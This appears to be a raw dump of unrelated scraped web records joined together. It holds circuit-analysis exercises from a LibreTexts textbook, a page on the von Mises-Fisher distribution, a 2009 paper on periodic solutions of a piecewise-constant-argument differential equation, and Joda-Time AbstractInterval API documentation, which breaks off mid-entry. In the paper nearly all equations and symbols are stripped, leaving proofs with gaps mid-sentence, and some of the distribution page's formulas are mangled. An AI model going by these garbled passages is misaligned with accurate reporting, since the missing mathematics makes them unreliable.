"Figure 3.10.28\n\n• $$R_{1} = 6k\\Omega$$\n• $$R_{2} = 1.5k\\Omega$$\n• $$R_{3} = 500\\Omega$$\n\n52. For the circuit shown in Figure 3.10.29 , determine values for $$R_1$$ and $$R_2$$ such that $$V_{ab}$$ is 6 volts if $$E$$ is a 9 volt battery and the total current draw is 20 mA.",
null,
"Figure 3.10.29\n\n53. Consider the circuit shown in Figure 3.10.30 . If all resistors have the same value, determine that value if $$E$$, a 24 volt source, generates a total power of 10 watts.",
null,
"Figure 3.10.30\n\n• 19.2$$\\Omega$$\n\n54. For the circuit shown in Figure 3.10.31 , determine values for $$R_1$$ and $$R_2$$ such that $$V_{ab}$$ is 6 volts if $$I$$ is a 2 mA source and the total voltage drop is 24 volts.",
null,
"Figure 3.10.31\n\n55. Consider the circuit of Figure 3.10.20 . Is it possible to add a fifth resistor such that the circulating current is 0.1 mA? If so, what is that resistor value?\n\n• Yes, 10 $$k\\Omega$$\n\n56. Consider the circuit of Figure 3.10.20 . Is it possible to add a fifth resistor such that the circulating current is 2 mA? If so, what is that resistor value?\n\n## Challenge\n\n57. Assume that two AA cells, $$E_1$$ and $$E_2$$, rated at 900 mAh each are used to drive a 2 watt lamp as shown in Figure 3.10.32 . Determine the expected life of the batteries.",
null,
"Figure 3.10.32\n\n58. Given the circuit of Figure 3.10.33 , determine the required values of $$E$$, $$R_1$$, $$R_2$$ and $$R_3$$ if there is one volt across $$R_3$$, the total current draw is 10 mA, the voltage across $$R_1$$ is twice the size of voltage across $$R_2$$ and the power dissipation in $$R_2$$ is 100 mW.",
null,
"Figure 3.10.33\n\n59. Given the circuit of Figure 3.10.33 , determine the required source voltage if $$R_1$$ is 1 k$$\\Omega$$, $$R_2$$ is 1 k$$\\Omega$$, the power dissipation in $$R_1$$ is 4 mW and the power dissipation in $$R_3$$ is 2 mW.\n\n60. Given the circuit of Figure 3.10.34 , determine $$V_c$$, $$V_{db}$$ and $$V_{ce}$$.",
null,
"Figure 3.10.34\n\n61. Given the circuit of Figure 3.10.34 , determine $$V_{ac}$$, $$V_{eb}$$ and $$V_d$$.\n\n62. Refer to the circuit of Figure 3.10.20 . Assuming each resistor has a 10% tolerance, determine the maximum and minimum values for $$V_c$$.\n\n## Simulation\n\n63. Simulate the solution of design problem 43 and determine if the values produce the required results.\n\n64. Perform a DC simulation on the circuit of Figure 3.10.13 and find all of the node voltages along with the circulating current.\n\n65. Perform a DC simulation on the circuit of Figure 3.10.14 and find all of the node voltages along with the circulating current.\n\n66. Perform a DC simulation on the circuit of Figure 3.10.26 and find all of the node voltages.\n\n67. Perform a DC simulation on the circuit of Problem 34 and find all of the node voltages.\n\n68. Perform a DC simulation on the circuit of Problem 36 and find all of the node voltages.\n\n69. Simulate the solution of Challenge problem 58 and determine if the values produce the required results.\n\n70. Simulate the circuit of Figure 3.10.34 (Challenge problems 60 and 61) and determine if the node voltages produced match the expected results.\n\n71. Perform a Monte Carlo simulation on the circuit of Figure 3.10.19 . Set each resistor to 5% tolerance and run at least ten variations for $$V_b$$ to determine a typical spread of values.",
null,
"Source: www.xkcd.com\n\nThis page titled 3.10: Exercises is shared under a CC BY-NC-SA 4.0 license and was authored, remixed, and/or curated by James M. Fiore via source content that was edited to the style and standards of the LibreTexts platform; a detailed edit history is available upon request."
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http://www.allisons.org/ll/MML/Continuous/von-Mises-Fisher/ | [
"## von Mises - Fisher (vMF)\n\n LA home Computing MML Glossary Continuous Normal 1 Normal 2 t-distn von Mises-Fisher von Mises Linear1 vMF also see ML'15\nThe von Mises - Fisher (vMF) distribution is a probability distribution on directions in RD. It is natural to think of it as a distribution on the (D-1)-sphere of unit radius, that is on the surface of the D-ball of unit radius.\n\nThe von Mises - Fisher's probability density function is\npdf(v | μ, κ) = CD eκμ.v\nwhere datum v is a normalised D-vector, equivalently a point on the (D-1)-sphere,\nmu, μ, is the mean (a normalised vector), and\nkappa, κ ≥ 0, is the concentration parameter (a scalar).\nThe distribution's normalising constant\nCD(κ) = κD/2-1 / {(2π)D/2 ID/2-1(κ)}\nwhere Iorder(.) is the \"modified Bessel function of the first kind\"!\nIn the special case that D = 3,\nC3(κ) = κ / {2π (eκ - e)}\n\nThe negative log pdf is\n- log pdf(v | μ, κ) = - log CD - κ μ . v,\nand\n CD\nlog CD = (D/2-1)log κ - (D/2)log 2π - log ID/2-1(κ).\n\nGiven data\n N\n{v0, ..., vN-1}, define their sum (a D-vector),\nR = i=0..N-1 vi,\n R\nand\nRbar = ||R|| / N.\n\n - logLH\nThe negative log likelihood is\n- logLH = - N log CD - κ μ . R.\nIt is obvious that the maximum likelihood estimate of μ is R normalised,\nμML = R / ||R||,\n μMML\nand that the MML estimate is the same,\nμMML = μML = R / ||R||,\nthe most general prior for μ being the uniform distribution.\n\nFor given μ and κ, the expected value of Rbar equals\nand the (less obvious) maximum likelihood estimate of κ is\nκML = A-1(Rbar).\nThis is because\n/∂κ - logLH = - N {/∂κ log CD(κ)} - μ . R\nwhich is zero if\n- /∂κ log CD(κ) = μ . R / N,\nwhere\n/∂κ log CD(κ)\n= ω / κ - I'ω(κ) / Iω(κ), where ω = D/2 - 1\n= ω {Iω(κ) - κ/ω I'ω(κ)} / (κ Iω(κ))\n= ω {κ/ {Iω-1(κ) - Iω+1(κ)} - κ/ {Iω-1(κ) + Iω+1(κ)}} / (κ Iω(κ))\n= - ID/2(κ) / ID/2-1(κ),\nusing the \"well known\" relations,\nIν(z) = z/ {Iν-1(z) - Iν+1(z)},\nand\nI'ν(z) = 1/2 {Iν-1(z) + Iν+1(z)}, (I'0(z) = I1(z)).\n\nThe MML estimate, κMML,\n κMML\nis the value that minimises the two-part message length; no closed form is known for κMML. The message length calculations also require a choice of prior for κ, and the vMF's Fisher information, F.\n\nThe Fisher information of the vMF distribution.\nThe expected second derivative of - logLH w.r.t. κ is\n2/∂κ2 - logLH = N A'D(κ).\nThe vMF distribution is symmetric about μ on the (D-1)-sphere; there is no preferred orientation around μ. A direction, such as μ, has D - 1 degrees of freedom. The expected 2nd derivative of - logLH w.r.t. any one of μ's degrees of freedom is\nThis is for the following reason:\nWithout loss of generality, let μ = (1, 0, ...), and then μ → (cos δ, sin δ, 0, ...), say, where δ is small,\n/∂δ - logLH = N κ ||R|| sin δ,\n2/∂δ2 - logLH = N κ ||R|| cos δ ≈ N κ ||R||, as δ is small\nwhich is\nSymmetry implies that the off-diagonal elements for μ are zero. And, μ is a position parameter and κ a scale parameter, so the off-diagonal elements between μ and κ are also zero.\nF, the Fisher information of the vMF is therefore,\n F\nF = ND (κ AD(κ))D-1 A'D(κ).\n\nSources\nSearch for [vonMises direction] in the [Bib], and\nsee section 6.5, p.266 of Wallace's book (2005).\n\nP. Kasarapu & L. Allison, Minimum message length estimation of mixtures of multivariate Gaussian and von Mises-Fisher distributions, Machine Learning (Springer Verlag), March 2015 [click].\n\nThe special case of the probability distribution where D = 2 is known as the von Mises distribution for directions in R2, that is for angles and periodic quantitites such as annual events.\nwww:\n The C++ Cookbook mastering the language\n ↑ © L. Allison, www.allisons.org/ll/ (or as otherwise indicated). Created with \"vi (Linux)\", charset=iso-8859-1, fetched Saturday, 18-Jan-2020 20:23:18 EST. Free: Linux, Ubuntu operating-sys, OpenOffice office-suite, The GIMP ~photoshop, Firefox web-browser, FlashBlock flash on/off."
] | [
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https://www.hindawi.com/journals/ijmms/2009/950797/ | [
"Research Article | Open Access\n\nVolume 2009 |Article ID 950797 | 14 pages | https://doi.org/10.1155/2009/950797\n\n# Existence and Uniqueness of Periodic Solutions for a Second-Order Nonlinear Differential Equation with Piecewise Constant Argument\n\nRevised01 Oct 2009\nAccepted02 Nov 2009\nPublished30 Nov 2009\n\n#### Abstract\n\nBased on a continuation theorem of Mawhin, a unique periodic solution is found for a second-order nonlinear differential equation with piecewise constant argument.\n\n#### 1. Introduction\n\nQualitative behaviors of first-order delay differential equations with piecewise constant arguments are the subject of many investigations (see, e.g., ), while those of higher-order equations are not.\n\nHowever, there are reasons for studying higher-order equations with piecewise constant arguments. Indeed, as mentioned in , a potential application of these equations is in the stabilization of hybrid control systems with feedback delay, where a hybrid system is one with a continuous plant and with a discrete (sampled) controller. As an example, suppose that a moving particle with time variable mass is subjected to a restoring controller which acts at sampled time Then Newton's second law asserts that\n\nSince this equation is “similar” to the harmonic oscillator equation\n\nwe expect that the well-known qualitative behavior of the later equation may also be found in the former equation, provided appropriate conditions on and are imposed.\n\nIn this paper we study a slightly more general second-order delay differential equation with piecewise constant argument:\n\nwhere is a real continuous function defined on with positive integer period for and are continuous function defined on with period for and\n\nBy a solution of (1.3) we mean a function which is defined on and which satisfies the following conditions: (i) is continuous on (ii) is differentiable at each point with the possible exception of the points where one-sided derivatives exist, and (iii) substitution of into (1.3) leads to an identity on each interval with integral endpoints.\n\nIn this note, existence and uniqueness criteria for periodic solutions of (1.3) will be established. For this purpose, we will make use of a continuation theorem of Mawhin. Let and be two Banach spaces and is a linear mapping and a continuous mapping. The mapping will be called a Fredholm mapping of index zero if , and is closed in If is a Fredholm mapping of index zero, there exist continuous projectors and such that and It follows that has an inverse which will be denoted by . If is an open and bounded subset of , the mapping will be called -compact on if is bounded and is compact. Since is isomorphic to there exists an isomorphism .\n\nTheorem 1 A (Mawhin's continuation theorem ). Let be a Fredholm mapping of index zero, and let be -compact on . Suppose that(i)for each , (ii)for each and Then the equation has at least one solution in .\n\n#### 2. Existence and Uniqueness Criteria\n\nOur main results of this paper are as follows.\n\nTheorem 2.1. Suppose that there exist constants and such that(i) for and ,(ii) (or ).If then (1.3) has an -periodic solution. Furthermore, the -periodic solution is unique if in addition one has the following.(iii) is strictly monotonous in and there exists nonnegative constant such that\n\nTheorem 2.2. Suppose that there exist constants and such that() for and ,() (or ).If then (1.3) has an -periodic solution. Furthermore, the -periodic solution is unique if in addition one has the following.(iii) is strictly monotonous in and there exists nonnegative constant such that (2.1) holds.\n\nWe only give the proof of Theorem 2.1, as Theorem 2.2 can be proved similarly.\n\nFirst we make the simple observation that is an -periodic solution of the following equation:\n\nif, and only if, is an -periodic solution of (1.3). Next, let be the Banach space of all real -periodic continuously differentiable functions of the form which is defined on and endowed with the usual linear structure as well as the norm . Let be the Banach space of all real continuous functions of the form such that where and and endowed with the usual linear structure as well as the norm Let the zero element of and be denoted by and respectively.\n\nDefine the mappings and respectively, by\n\nLet\n\nSince and , is a well-defined operator from to Let us define and respectively, by\n\nfor and\n\nfor\n\nLemma 2.3. Let the mapping be defined by (2.3). Then\n\nProof. It suffices to show that if is a real -periodic continuously differentiable function which satisfies then is a constant function. To see this, note that for such a function Hence by integrating both sides of the above equality from to we see that Since is positive, continuous, and periodic, Since is bounded, we may infer from (2.11) that . But then (2.9) implies for The proof is complete.\n\nLemma 2.4. Let the mapping be defined by (2.3). Then\n\nProof. It suffices to show that for each that satisfies there is a such that But this is relatively easy, since we may let Then it may easily be checked that (2.14) holds. The proof is complete.\n\nLemma 2.5. The mapping defined by (2.3) is a Fredholm mapping of index zero.\n\nIndeed, from Lemmas 2.3 and 2.4 and the definition of From (2.13), we see that is closed in Hence is a Fredholm mapping of index zero.\n\nLemma 2.6. Let the mapping and be defined by (2.3), (2.6), and (2.7), respectively. Then and\n\nIndeed, from Lemmas 2.3 and 2.4 and defining conditions (2.6) and (2.7), it is easy to see that and\n\nLemma 2.7. Let and be defined by (2.3) and (2.4), respectively. Suppose that is an open and bounded subset of Then is -compact on .\n\nProof. It is easy to see that for any so that These lead us to where is defined by (2.15). By (2.18), we see that is bounded. Noting that (2.7) holds and is a completely continuous mapping, by means of the Arzela-Ascoli theorem we know that is relatively compact. Thus is -compact on . The proof is complete.\n\nLemma 2.8. Suppose that is a real, bounded and continuous function on and exists. Then there is a point such that\n\nThe above result is only a slight extension of the integral mean value theorem and is easily proved.\n\nLemma 2.9. Suppose that condition (i) in Theorem 2.1 holds. Suppose further that satisfies Then there is such that\n\nProof. From (2.22) and Lemma 2.8, we have for such that In case from the condition (i) in Theorem 2.1 and (2.23), we know that Suppose Our assertion is true if one of has absolute value less than or equal to Otherwise, there should be and among and such that and Since is continuous, in view of the intermediate value theorem, there is such that (here or ). Since is periodic, there is such that The proof is complete.\n\nNow, we consider that following equation:\n\nwhere\n\nLemma 2.10. Suppose that conditions (i) and (ii) of Theorem 2.1 hold. If then there are positive constants and such that for any -periodic solution of (2.24),\n\nProof. Let be a -periodic solution of (2.24). By (2.24) and our assumption that we have By Lemma 2.9, there is such that Since and are with period thus for any we have From (2.28), we see that for any It is easy to see from (2.27) and (2.29) that for any In view of the condition we know that there is a positive number such that From condition (ii), we see that there is a such that for and Let By (2.32) and (2.33), we have From (2.34) and (2.36), we have In view of condition (i), (2.26), (2.37), and (2.38), we get It follows from (2.37), (2.38), and (2.39) that Since thus there is a such that In view of (2.24) and the fact that , we conclude that for any From (2.40) and (2.41), we see that It follows from (2.30), (2.31), and (2.42) that where Let then from (2.43) we have From (2.42) and (2.45), for any we have where The proof is complete.\n\nLemma 2.11. Suppose that condition (iii) of Theorem 2.1 is satisfied. Then (1.3) has at most one -periodic solution.\n\nProof. Suppose that and are two -periodic solutions of (1.3). Set . Then we have Case 2 (i). For all . Without loss of generality, we assume that , that is, for Integrating (2.48) from to , we have Combining condition (iii) and , either or holds. This is contrary to (2.49).Case 2 (ii). There exist such that . As in the proof of (2.30) in Lemma 2.10, we have On the other hand, since thus there is a such that . In view of (2.48), we conclude that for any By (2.53) and the fact that , we have for any It follows that for any We know that for any From (2.56), we have By (2.52), we get It is easy to see from (2.57) and (2.58) that By condition (iii) of Theorem 2.1, we see that Thus (2.58) leads us to which is contrary to So (1.3) has at most one -periodic solution. The proof is complete.\n\nWe now turn to the proof of Theorem 2.1. Suppose Let and be defined by (2.3), (2.4), (2.6), and (2.7), respectively. By Lemma 2.10, there are positive constants and such that for any -periodic solution of (2.24) such that (2.25) holds. Set\n\nwhere is a fixed number which satisfies It is easy to see that is an open and bounded subset of Furthermore, in view of Lemmas 2.5 and 2.7, is a Fredholm mapping of index zero and is -compact on . Noting that by Lemma 2.10, for each and Next note that a function must be constant: or Hence by (i) and (2.17), Hence by conditions (i), (iii) and (2.17),\n\nso The isomorphism is defined by for and Then\n\nIn particular, we see that if then\n\nand if then Consider the mapping\n\nFrom (2.63) and (2.65), for each and we have\n\nSimilarly, from (2.64) and (2.65), for each and we have\n\nBy (2.66) and (2.67), is a homotopy. This shows that\n\nBy Theorem , we see that equation has at least one solution in In other words, (1.3) has an -periodic solution Furthermore, if (iii) is satisfied, from Lemma 2.11, we know that (1.3) has an -periodic solution only. The proof is complete.\n\n#### 3. Example\n\nConsider the equation\n\nand we can show that it has a nontrivial -periodic solution. Indeed, take\n\nWe see that Let and Then condition (i) of Theorem 2.1 is satisfied:\n\nLet and Then conditions (i), (ii) and (iii), of Theorem 2.1 are satisfied. Note further that Therefore (3.1) has exactly one -periodic solution. Furthermore, it is easy to see that any solution of (3.1) must be nontrivial. We have thus shown the existence of a unique nontrivial -periodic solution of (3.1).\n\n#### Acknowledgment\n\nThe first author is supported by the Natural Science Foundation of Guangdong Province of China under Grant no. 9151008002000012.\n\n1. K. L. Cooke and J. Wiener, “Retarded differential equations with piecewise constant delays,” Journal of Mathematical Analysis and Applications, vol. 99, no. 1, pp. 265–297, 1984.\n2. S. M. Shah and J. Wiener, “Advanced differential equations with piecewise constant argument deviations,” International Journal of Mathematics and Mathematical Sciences, vol. 6, no. 4, pp. 671–703, 1983.\n3. E. C. Partheniadis, “Stability and oscillation of neutral delay differential equations with piecewise constant argument,” Differential and Integral Equations, vol. 1, no. 4, pp. 459–472, 1988.\n4. A. R. Aftabizadeh, J. Wiener, and J.-M. Xu, “Oscillatory and periodic solutions of delay differential equations with piecewise constant argument,” Proceedings of the American Mathematical Society, vol. 99, no. 4, pp. 673–679, 1987.\n5. A. R. Aftabizadeh and J. Wiener, “Oscillatory and periodic solutions of an equation alternately of retarded and advanced type,” Applicable Analysis, vol. 23, no. 3, pp. 219–231, 1986.\n6. J. Wiener and A. R. Aftabizadeh, “Differential equations alternately of retarded and advanced type,” Journal of Mathematical Analysis and Applications, vol. 129, no. 1, pp. 243–255, 1988.\n7. S. Busenberg and L. Cooke, “Models of vertically transmitted diseases with sequential-continuous dynamics,” in Nonlinear Phenomena in Mathematical Sciences, V. Lakshmikantham, Ed., pp. 179–187, Academic Press, New York, NY, USA, 1982. View at: Google Scholar | Zentralblatt MATH\n8. A. R. Aftabizadeh and J. Wiener, “Oscillatory and periodic solutions for systems of two first order linear differential equations with piecewise constant argument,” Applicable Analysis, vol. 26, no. 4, pp. 327–333, 1988.\n9. K. L. Cooke and J. Wiener, “An equation alternately of retarded and advanced type,” Proceedings of the American Mathematical Society, vol. 99, no. 4, pp. 726–732, 1987.\n10. K. L. Cooke and J. Wiener, “A survey of differential equations with piecewise continuous arguments,” in Delay Differential Equations and Dynamical Systems, vol. 1475 of Lecture Notes in Mathematics, pp. 1–15, Springer, Berlin, Germany, 1991.\n11. K. Gopalsamy, M. R. S. Kulenović, and G. Ladas, “On a logistic equation with piecewise constant arguments,” Differential and Integral Equations, vol. 4, no. 1, pp. 215–223, 1991.\n12. L. C. Lin and G. Q. Wang, “Oscillatory and asymptotic behaviour of first order nonlinear differential equations with retarded argument $\\left[t\\right]$,” Chinese Science Bulletin, vol. 36, no. 11, pp. 889–891, 1991.\n13. Y. K. Huang, “Oscillations and asymptotic stability of solutions of first order neutral differential equations with piecewise constant argument,” Journal of Mathematical Analysis and Applications, vol. 149, no. 1, pp. 70–85, 1990.\n14. G. Papaschinopoulos and J. Schinas, “Existence stability and oscillation of the solutions of first order neutral delay differential equations with piecewise constant argument,” Applicable Analysis, vol. 44, no. 1-2, pp. 99–111, 1992.\n15. J. H. Shen and I. P. Stavroulakis, “Oscillatory and nonoscillatory delay equations with piecewise constant argument,” Journal of Mathematical Analysis and Applications, vol. 248, no. 2, pp. 385–401, 2000.\n16. J. Wiener and W. Heller, “Oscillatory and periodic solutions to a diffusion equation of neutral type,” International Journal of Mathematics and Mathematical Sciences, vol. 22, no. 2, pp. 313–348, 1999.\n17. L. A. V. Carvalho and J. Wiener, “A nonlinear equation with piecewise continuous argument,” Differential and Integral Equations, vol. 1, no. 3, pp. 359–367, 1988.\n18. R. E. Gaines and J. L. Mawhin, Coincidence Degree, and Nonlinear Differential Equations, vol. 586 of Lecture Notes in Mathematics, Springer, Berlin, Germany, 1977. View at: MathSciNet\n19. G. Q. Wang and S. S. Cheng, “Note on the set of periodic solutions of a delay differential equation with piecewise constant argument,” International Journal of Pure and Applied Mathematics, vol. 9, no. 2, pp. 139–143, 2003.\n\n#### More related articles\n\nWe are committed to sharing findings related to COVID-19 as quickly and safely as possible. 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https://www.joda.org/joda-time/apidocs/org/joda/time/base/AbstractInterval.html | [
"org.joda.time.base\n\n## Class AbstractInterval\n\n• All Implemented Interfaces:\nDirect Known Subclasses:\nBaseInterval\n\n```public abstract class AbstractInterval\nextends Object\nAbstractInterval provides the common behaviour for time intervals.\n\nThis class should generally not be used directly by API users. The `ReadableInterval` interface should be used when different kinds of intervals are to be referenced.\n\nAbstractInterval subclasses may be mutable and not thread-safe.\n\nSince:\n1.0\n• ### Constructor Summary\n\nConstructors\nModifier Constructor and Description\n`protected ` `AbstractInterval()`\nConstructor.\n• ### Method Summary\n\nAll Methods\nModifier and Type Method and Description\n`protected void` ```checkInterval(long start, long end)```\nValidates an interval.\n`boolean` `contains(long millisInstant)`\nDoes this time interval contain the specified millisecond instant.\n`boolean` `contains(ReadableInstant instant)`\nDoes this time interval contain the specified instant.\n`boolean` `contains(ReadableInterval interval)`\nDoes this time interval contain the specified time interval.\n`boolean` `containsNow()`\nDoes this time interval contain the current instant.\n`boolean` `equals(Object readableInterval)`\nCompares this object with the specified object for equality based on start and end millis plus the chronology.\n`DateTime` `getEnd()`\nGets the end of this time interval, which is exclusive, as a DateTime.\n`DateTime` `getStart()`\nGets the start of this time interval, which is inclusive, as a DateTime.\n`int` `hashCode()`\nHashcode compatible with equals method.\n`boolean` `isAfter(long millisInstant)`\nIs this time interval after the specified millisecond instant.\n`boolean` `isAfter(ReadableInstant instant)`\nIs this time interval after the specified instant.\n`boolean` `isAfter(ReadableInterval interval)`\nIs this time interval entirely after the specified interval.\n`boolean` `isAfterNow()`\nIs this time interval after the current instant.\n`boolean` `isBefore(long millisInstant)`\nIs this time interval before the specified millisecond instant.\n`boolean` `isBefore(ReadableInstant instant)`\nIs this time interval before the specified instant.\n`boolean` `isBefore(ReadableInterval interval)`\nIs this time interval entirely before the specified instant.\n`boolean` `isBeforeNow()`\nIs this time interval before the current instant.\n`boolean` `isEqual(ReadableInterval other)`\nIs this interval equal to the specified interval ignoring the chronology.\n`boolean` `overlaps(ReadableInterval interval)`\nDoes this time interval overlap the specified time interval.\n`Duration` `toDuration()`\nGets the duration of this time interval.\n`long` `toDurationMillis()`\nGets the duration of this time interval in milliseconds.\n`Interval` `toInterval()`\nGet this interval as an immutable `Interval` object.\n`MutableInterval` `toMutableInterval()`\nGet this time interval as a `MutableInterval`.\n`Period` `toPeriod()`\nConverts the duration of the interval to a `Period` using the All period type.\n`Period` `toPeriod(PeriodType type)`\nConverts the duration of the interval to a `Period` using the specified period type.\n`String` `toString()`\nOutput a string in ISO8601 interval format.\n• ### Methods inherited from class java.lang.Object\n\n`clone, finalize, getClass, notify, notifyAll, wait, wait, wait`\n• ### Methods inherited from interface org.joda.time.ReadableInterval\n\n`getChronology, getEndMillis, getStartMillis`\n• ### Constructor Detail\n\n• #### AbstractInterval\n\n`protected AbstractInterval()`\nConstructor.\n• ### Method Detail\n\n• #### checkInterval\n\n```protected void checkInterval(long start,\nlong end)```\nValidates an interval.\nParameters:\n`start` - the start instant in milliseconds\n`end` - the end instant in milliseconds\nThrows:\n`IllegalArgumentException` - if the interval is invalid\n• #### getStart\n\n`public DateTime getStart()`\nGets the start of this time interval, which is inclusive, as a DateTime.\nSpecified by:\n`getStart` in interface `ReadableInterval`\nReturns:\nthe start of the time interval\n• #### getEnd\n\n`public DateTime getEnd()`\nGets the end of this time interval, which is exclusive, as a DateTime.\nSpecified by:\n`getEnd` in interface `ReadableInterval`\nReturns:\nthe end of the time interval\n• #### contains\n\n`public boolean contains(long millisInstant)`\nDoes this time interval contain the specified millisecond instant.\n\nNon-zero duration intervals are inclusive of the start instant and exclusive of the end. A zero duration interval cannot contain anything.\n\nParameters:\n`millisInstant` - the instant to compare to, millisecond instant from 1970-01-01T00:00:00Z\nReturns:\ntrue if this time interval contains the millisecond\n• #### containsNow\n\n`public boolean containsNow()`\nDoes this time interval contain the current instant.\n\nNon-zero duration intervals are inclusive of the start instant and exclusive of the end. A zero duration interval cannot contain anything.\n\nReturns:\ntrue if this time interval contains the current instant\n• #### contains\n\n`public boolean contains(ReadableInstant instant)`\nDoes this time interval contain the specified instant.\n\nNon-zero duration intervals are inclusive of the start instant and exclusive of the end. A zero duration interval cannot contain anything.\n\nFor example:\n\n``` [09:00 to 10:00) contains 08:59 = false (before start)\n[09:00 to 10:00) contains 09:00 = true\n[09:00 to 10:00) contains 09:59 = true\n[09:00 to 10:00) contains 10:00 = false (equals end)\n[09:00 to 10:00) contains 10:01 = false (after end)\n\n[14:00 to 14:00) contains 14:00 = false (zero duration contains nothing)\n```\nPassing in a `null` parameter will have the same effect as calling `containsNow()`.\nSpecified by:\n`contains` in interface `ReadableInterval`\nParameters:\n`instant` - the instant, null means now\nReturns:\ntrue if this time interval contains the instant\n• #### contains\n\n`public boolean contains(ReadableInterval interval)`\nDoes this time interval contain the specified time interval.\n\nNon-zero duration intervals are inclusive of the start instant and exclusive of the end. The other interval is contained if this interval wholly contains, starts, finishes or equals it. A zero duration interval cannot contain anything.\n\nWhen two intervals are compared the result is one of three states: (a) they abut, (b) there is a gap between them, (c) they overlap. The `contains` method is not related to these states. In particular, a zero duration interval is contained at the start of a larger interval, but does not overlap (it abuts instead).\n\nFor example:\n\n``` [09:00 to 10:00) contains [09:00 to 10:00) = true\n[09:00 to 10:00) contains [09:00 to 09:30) = true\n[09:00 to 10:00) contains [09:30 to 10:00) = true\n[09:00 to 10:00) contains [09:15 to 09:45) = true\n[09:00 to 10:00) contains [09:00 to 09:00) = true\n\n[09:00 to 10:00) contains [08:59 to 10:00) = false (otherStart before thisStart)\n[09:00 to 10:00) contains [09:00 to 10:01) = false (otherEnd after thisEnd)\n[09:00 to 10:00) contains [10:00 to 10:00) = false (otherStart equals thisEnd)\n\n[14:00 to 14:00) contains [14:00 to 14:00) = false (zero duration contains nothing)\n```\nPassing in a `null` parameter will have the same effect as calling `containsNow()`.\nSpecified by:\n`contains` in interface `ReadableInterval`\nParameters:\n`interval` - the time interval to compare to, null means a zero duration interval now\nReturns:\ntrue if this time interval contains the time interval\n• #### overlaps\n\n`public boolean overlaps(ReadableInterval interval)`\nDoes this time interval overlap the specified time interval.\n\nIntervals are inclusive of the start instant and exclusive of the end. An interval overlaps another if it shares some common part of the datetime continuum.\n\nWhen two intervals are compared the result is one of three states: (a) they abut, (b) there is a gap between them, (c) they overlap. The abuts state takes precedence over the other two, thus a zero duration interval at the start of a larger interval abuts and does not overlap.\n\nFor example:\n\n``` [09:00 to 10:00) overlaps [08:00 to 08:30) = false (completely before)\n[09:00 to 10:00) overlaps [08:00 to 09:00) = false (abuts before)\n[09:00 to 10:00) overlaps [08:00 to 09:30) = true\n[09:00 to 10:00) overlaps [08:00 to 10:00) = true\n[09:00 to 10:00) overlaps [08:00 to 11:00) = true\n\n[09:00 to 10:00) overlaps [09:00 to 09:00) = false (abuts before)\n[09:00 to 10:00) overlaps [09:00 to 09:30) = true\n[09:00 to 10:00) overlaps [09:00 to 10:00) = true\n[09:00 to 10:00) overlaps [09:00 to 11:00) = true\n\n[09:00 to 10:00) overlaps [09:30 to 09:30) = true\n[09:00 to 10:00) overlaps [09:30 to 10:00) = true\n[09:00 to 10:00) overlaps [09:30 to 11:00) = true\n\n[09:00 to 10:00) overlaps [10:00 to 10:00) = false (abuts after)\n[09:00 to 10:00) overlaps [10:00 to 11:00) = false (abuts after)\n\n[09:00 to 10:00) overlaps [10:30 to 11:00) = false (completely after)\n\n[14:00 to 14:00) overlaps [14:00 to 14:00) = false (abuts before and after)\n[14:00 to 14:00) overlaps [13:00 to 15:00) = true\n```\nSpecified by:\n`overlaps` in interface `ReadableInterval`\nParameters:\n`interval` - the time interval to compare to, null means a zero length interval now\nReturns:\ntrue if the time intervals overlap\n• #### isEqual\n\n`public boolean isEqual(ReadableInterval other)`\nIs this interval equal to the specified interval ignoring the chronology.\n\nThis compares the underlying instants, ignoring the chronology.\n\nParameters:\n`other` - a readable interval to check against\nReturns:\ntrue if the intervals are equal comparing the start and end millis\nSince:\n2.3\n• #### isBefore\n\n`public boolean isBefore(long millisInstant)`\nIs this time interval before the specified millisecond instant.\n\nIntervals are inclusive of the start instant and exclusive of the end.\n\nParameters:\n`millisInstant` - the instant to compare to, millisecond instant from 1970-01-01T00:00:00Z\nReturns:\ntrue if this time interval is before the instant\n• #### isBeforeNow\n\n`public boolean isBeforeNow()`\nIs this time interval before the current instant.\n\nIntervals are inclusive of the start instant and exclusive of the end.\n\nReturns:\ntrue if this time interval is before the current instant\n• #### isBefore\n\n`public boolean isBefore(ReadableInstant instant)`\nIs this time interval before the specified instant.\n\nIntervals are inclusive of the start instant and exclusive of the end.\n\nSpecified by:\n`isBefore` in interface `ReadableInterval`\nParameters:\n`instant` - the instant to compare to, null means now\nReturns:\ntrue if this time interval is before the instant\n• #### isBefore\n\n`public boolean isBefore(ReadableInterval interval)`\nIs this time interval entirely before the specified instant.\n\nIntervals are inclusive of the start instant and exclusive of the end.\n\nSpecified by:\n`isBefore` in interface `ReadableInterval`\nParameters:\n`interval` - the interval to compare to, null means now\nReturns:\ntrue if this time interval is before the interval specified\n• #### isAfter\n\n`public boolean isAfter(long millisInstant)`\nIs this time interval after the specified millisecond instant.\n\nIntervals are inclusive of the start instant and exclusive of the end.\n\nParameters:\n`millisInstant` - the instant to compare to, millisecond instant from 1970-01-01T00:00:00Z\nReturns:\ntrue if this time interval is after the instant\n• #### isAfterNow\n\n`public boolean isAfterNow()`\nIs this time interval after the current instant.\n\nIntervals are inclusive of the start instant and exclusive of the end.\n\nReturns:\ntrue if this time interval is after the current instant\n• #### isAfter\n\n`public boolean isAfter(ReadableInstant instant)`\nIs this time interval after the specified instant.\n\nIntervals are inclusive of the start instant and exclusive of the end.\n\nSpecified by:\n`isAfter` in interface `ReadableInterval`\nParameters:\n`instant` - the instant to compare to, null means now\nReturns:\ntrue if this time interval is after the instant\n• #### isAfter\n\n`public boolean isAfter(ReadableInterval interval)`\nIs this time interval entirely after the specified interval.\n\nIntervals are inclusive of the start instant and exclusive of the end. Only the end time of the specified interval is used in the comparison.\n\nSpecified by:\n`isAfter` in interface `ReadableInterval`\nParameters:\n`interval` - the interval to compare to, null means now\nReturns:\ntrue if this time interval is after the interval specified\n• #### toInterval\n\n`public Interval toInterval()`\nGet this interval as an immutable `Interval` object.\nSpecified by:\n`toInterval` in interface `ReadableInterval`\nReturns:\nthe interval as an Interval object\n• #### toMutableInterval\n\n`public MutableInterval toMutableInterval()`\nGet this time interval as a `MutableInterval`.\n\nThis will always return a new `MutableInterval` with the same interval.\n\nSpecified by:\n`toMutableInterval` in interface `ReadableInterval`\nReturns:\nthe time interval as a MutableInterval object\n• #### toDurationMillis\n\n`public long toDurationMillis()`\nGets the duration of this time interval in milliseconds.\n\nThe duration is equal to the end millis minus the start millis.\n\nSpecified by:\n`toDurationMillis` in interface `ReadableInterval`\nReturns:\nthe duration of the time interval in milliseconds\nThrows:\n`ArithmeticException` - if the duration exceeds the capacity of a long\n• #### toDuration\n\n`public Duration 